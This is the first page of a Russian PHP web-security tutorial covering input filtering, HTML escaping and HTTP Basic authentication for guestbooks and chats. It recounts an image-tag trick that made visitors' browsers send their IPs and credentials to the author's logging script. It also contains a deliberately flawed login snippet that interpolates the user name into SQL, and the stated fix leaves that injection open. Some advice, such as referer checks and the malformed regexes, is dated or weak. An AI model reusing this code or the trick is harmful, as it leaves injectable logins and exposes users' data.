Смекни!
smekni.com

Приемы безопасного программирования веб-приложений на PHP (стр. 1 из 2)

Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтоб меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб- приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.

Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.

Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:

<input type=text name=username maxlength=20>

На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:

<?

$referer=getenv("HTTP_REFERER");

if (!ereg("^http://www.myserver.com")) {

echo "hacker? he-he...&bsol;n";

exit;

}

?>

Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.

Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:

$username=substr($username,0,20);

Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:

if (empty($username)) {

echo "invalid username";

exit;

}

Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "_" (подчерк), пробела и цифр:

if (preg_match("/[^(&bsol;w)|(&bsol;x7F-&bsol;xFF)|(&bsol;s)]/",$username)) {

echo "invalidusername";

exit;

}

Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:

if (preg_match("/[^(&bsol;w)|(&bsol;@)|(&bsol;.)]/",$usermail)) {

echo "invalid mail";

exit;

}

Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.

Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.

Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript'a я перечислять не буду :-)

Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.

Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.

Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.

Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm'а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:

if (!isset($PHP_AUTH_USER)) {

Header("WWW-Authenticate: Basic realm=&bsol;"My Realm&bsol;"");

Header("HTTP/1.0 401 Unauthorized");

exit;

}

Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:

*** Внимание!!!***

В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесьнайтиеесамостоятельно.

$sql_statement="select password from peoples where name='$PHP_AUTH_USER'";

$result = mysql($dbname, $sql_statement);

$rpassword = mysql_result($result,0,'password');

$sql_statement = "select password('$PHP_AUTH_PW')";

$result = mysql($dbname, $sql_statement);

$password = mysql_result($result,0);

if ($password != $rpassword) {

Header("HTTP/1.0 401 Auth Required");

Header("WWW-authenticate: basic realm=&bsol;"My Realm&bsol;"");

exit;

}

Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.

Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:

if (mysql_numrows($result) != 1) {

Header("HTTP/1.0 401 Auth Required");

Header("WWW-authenticate: basic realm=&bsol;"My Realm&bsol;"");

exit;

}

То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.

Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".

К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:

Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля.

Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.

Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.